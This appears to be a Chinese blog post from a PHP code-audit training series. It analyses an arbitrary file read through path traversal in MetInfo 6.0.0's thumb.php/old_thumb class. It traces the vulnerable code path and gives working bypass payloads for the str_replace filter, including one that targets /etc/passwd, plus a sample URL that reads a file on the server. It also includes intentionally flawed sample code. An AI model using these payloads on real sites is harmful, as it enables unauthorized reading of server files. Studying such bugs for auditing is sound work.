【漏洞练习-Day9】 Metinfo 6.0.0 路径穿越_任意文件读取

开始练习【红日团队】的PHP-Audit-Labs 代码审计 Day9
链接:https://github.com/hongriSec/PHP-Audit-Labs
感兴趣的同学可以去练习练习
预备知识:
内容题目均来自 PHP SECURITY CALENDAR 2017
Day 9 - Rabbit代码如下:

class LanguageManager {
  public function loadLanguage() {
    $lang = $this->getBrowserLanguage();
    $sanitizedLang = $this->sanitizeLanguage($lang);
    require_once("/lang/$sanitizedLang");
  }

  private function getBrowserLanguage() {
    $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
    return $lang;
  }

  private function sanitizeLanguage($language) {
    return str_replace('../', '', $language);
  }
}

(new LanguageManager())->loadLanguage();

漏洞解析 :
这一题考察的是一个 str_replace函数过滤不当造成的任意文件包含漏洞。在代码 第14行处,

    return str_replace('../', '', $language);

程序仅仅只是将../字符替换成空,这并不能阻止攻击者进行攻击。
例如攻击者使用payload:....// 或者..././,在经过程序的 str_replace函数处理后,都会变成 ../,所以上图程序中的str_replace函数过滤是有问题的。

str_replace () 函数:

(PHP 4, PHP 5, PHP 7)

功能:

str_replace() 函数替换字符串中的一些字符(区分大小写)。

  • 如果搜索的字符串是一个数组,那么它将返回一个数组。
  • 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。
  • 如果同时需要对某个数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余的元素将用空字符串进行替换。
  • 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。
  • 注释:该函数是区分大小写的。请使用 str_ireplace() 函数执行不区分大小写的搜索。
  • 注释:该函数是二进制安全的。
定义:
str_replace(find,replace,string,count)
说明:
参数 描述
find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数。

范例:

在这里插入图片描述
结果:

Array ( [0] => blue [1] => pink [2] => green [3] => yellow )
Replacements: 1

实例分析:

本次实例分析,我们选取的是Metinfo 6.0.0 版本。

漏洞POC 本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

漏洞分析:

漏洞文件在 app/system/include/module/old_thumb.class.php 中,我们发现程序将变量$dir中出现的.././字符替换成空字符串(第4行处),猜想开发者应该是有考虑到路径穿越问题,所以做了此限制。具体代码如下:

     public function doshow(){
        global $_M;

         $dir = str_replace(array('../','./'), '', $_GET['dir']);
        if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
            header("Content-type: image/jpeg");
            ob_start();
            readfile($dir);
            ob_flush();
            flush();
            die;
        }

        if($_M['form']['pageset']){
          $path = $dir."&met-table={$_M['form']['met-table']}&met-field={$_M['form']['met-field']}";

        }else{
          $path = $dir;
        }
        $image =  thumb($path,$_M['form']['x'],$_M['form']['y']);
        if($_M['form']['pageset']){
          $img = explode('?', $image);
          $img = $img[0];
        }else{
          $img = $image;
        }
        if($img){
            header("Content-type: image/jpeg");
            ob_start();
            readfile(PATH_WEB.str_replace($_M['url']['site'], '', $img));
            ob_flush();
            flush();
        }

    }

接着在第5行处,用strstr函数判断 $dir变量中是否含有 http字符串,如果,则读取加载$dir变量,并以图片方式显示出来。这里猜测开发者的意图是,加载远程图片。

strstr () 函数:

(PHP 4, PHP 5, PHP 7)

功能:

strstr()函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE

定义:

strstr(string,search,before_search)

说明:
参数 描述
string 必需。规定被搜索的字符串。
search 必需。规定要搜索的字符串。如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符。
before_search 可选。一个默认值为 “false” 的布尔值。如果设置为 “true”,它将返回 search 参数第一次出现之前的字符串部分。

范例

在这里插入图片描述
结果:

o world!

在这里插入图片描述

Hello

然而这段代码是可以绕过的。
例如
我们使用 payload:.....///http/.....///.....///.....///.....///etc/passwd ,过滤后实际就变成: ../http/../../../../etc/passwd
例如代码:

<?php
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(strstr($dir,'http')){
	echo readfile($dir);
}else{
	die("none");
}

?>

效果如下:
在这里插入图片描述
接下来,我们要做的就是搜索程序在哪里调用了这个文件。用phpstorm加载整个项目文件,按住 Ctrl+Shift+F键,搜索关键词old_thumb ,发现在 include/thumb.php 文件中调用 old_thumb 类,搜索结果如下图:
在这里插入图片描述
我们在include/thumb.php文件中,可以看到 M_CLASS 定义为 old_thumb

<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
define('M_NAME', 'include');
define('M_MODULE', 'include');
define('M_CLASS', 'old_thumb');
define('M_ACTION', 'doshow');
require_once '../app/system/entrance.php';
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

M_ACTION 定义为 doshow。我们接着跟进到 app/system/entrance.php文件中

// app/system/include/class/load.class.php
require_once PATH_SYS_CLASS.'load.class.php';
load::module();

在该文件的末尾(92行)可以看包含了app/system/include/class/load.class.php文件,引入了 load 类,然后调用了load类的module方法。

我们跟进module方法,并查看各个变量的赋值情况( app/system/include/class/load.class.php 文件)(113-121行):

	public static function module($path = '', $modulename = '', $action = '') {
		if (!$path) {
			if (!$path) $path = PATH_OWN_FILE;
			if (!$modulename) $modulename = M_CLASS;
			if (!$action) $action = M_ACTION;
			if (!$action) $action = 'doindex';
		}
		return self::_load_class($path, $modulename, $action);
	}

上图程序最后调用了load类的 _load_class 方法,我们跟进该方法,详细代码如下:

	private static function _load_class($path, $classname, $action = '') {
		$classname=str_replace('.class.php', '', $classname);
		$is_myclass = 0;
		if(!self::$mclass[$classname]){
			if(file_exists($path.$classname.'.class.php')){
				require_once $path.$classname.'.class.php';
			} else {
				echo str_replace(PATH_WEB, '', $path).$classname.'.class.php is not exists';
				exit;
			}
			$myclass = "my_{$classname}";
			if (file_exists($path.'myclass/'.$myclass.'.class.php')) {
				$is_myclass = 1;
				require_once $path.'myclass/'.$myclass.'.class.php';
			}
		}
		if ($action) {
			if (!class_exists($classname)) {
				die($classname . ' ' . $action . ' class\'s file is not exists!!!');
			}
			if(self::$mclass[$classname]){
				$newclass = self::$mclass[$classname];
			}else{
				if($is_myclass){
					$newclass = new $myclass;
				}else{
					$newclass = new $classname;
				}
				self::$mclass[$classname] = $newclass;
			}
			if ($action!='new') {
				if(substr($action, 0, 2) != 'do'){
					die($action.' function no permission load!!!');
				}
				if(method_exists($newclass, $action)){
					call_user_func(array($newclass, $action));
				}else{
					die($action.' function is not exists!!!');
				}
			}
			return $newclass;
		}
		return  true;
	}

可以看到上图代码第27行处实例化了一个 old_thumb 类对象,然后在第36行处调用了 old_thumb类的 doshow方法,doshow方法中的 $dir变量就是用户可以控制的。以上便是完整的攻击过程分析,下面我们看看具体如何进行攻击。

漏洞利用:

实际上攻击的话就很简单了,因为 $dir变量是直接通过 GET请求 获取的,然后用 str_replace方法处理,而 str_replace 方法处理又有问题,所以我们构造 payload 如下:

http://localhost/metInfo/include/thumb.php?dir=.....///http/.....///最终用户授权许可协议.txt

在这里插入图片描述
成功读取 最终用户授权许可协议.txt文件。

修复建议:

关于修复建议,这里先抛出个问题给大家,针对这个案例,下面的修复代码是否可行?

$dir = str_replace(array('..','//'), '', $_GET['dir']);

咋一看,这个代码好像完美地修复了路径穿越问题,但是,我们在修复代码的时候一定要结合实际情况。比如在metinfo中,程序这里原来的功能是加载远程图片,使用上面的修复代码,会导致正常的图片链接无法加载,这种修复肯定是无效的。这里给出我的修复代码,如下图:
在这里插入图片描述

结语

再次感谢【红日团队】

相关文章

Metinfo 6.0.0 任意文件读取漏洞

MetInfo 任意文件读取漏洞的修复与绕过

MetInfo6.0.0漏洞集合(一)

发布了35 篇原创文章 · 获赞 19 · 访问量 5193

猜你喜欢

转载自blog.csdn.net/zhangpen130/article/details/103994222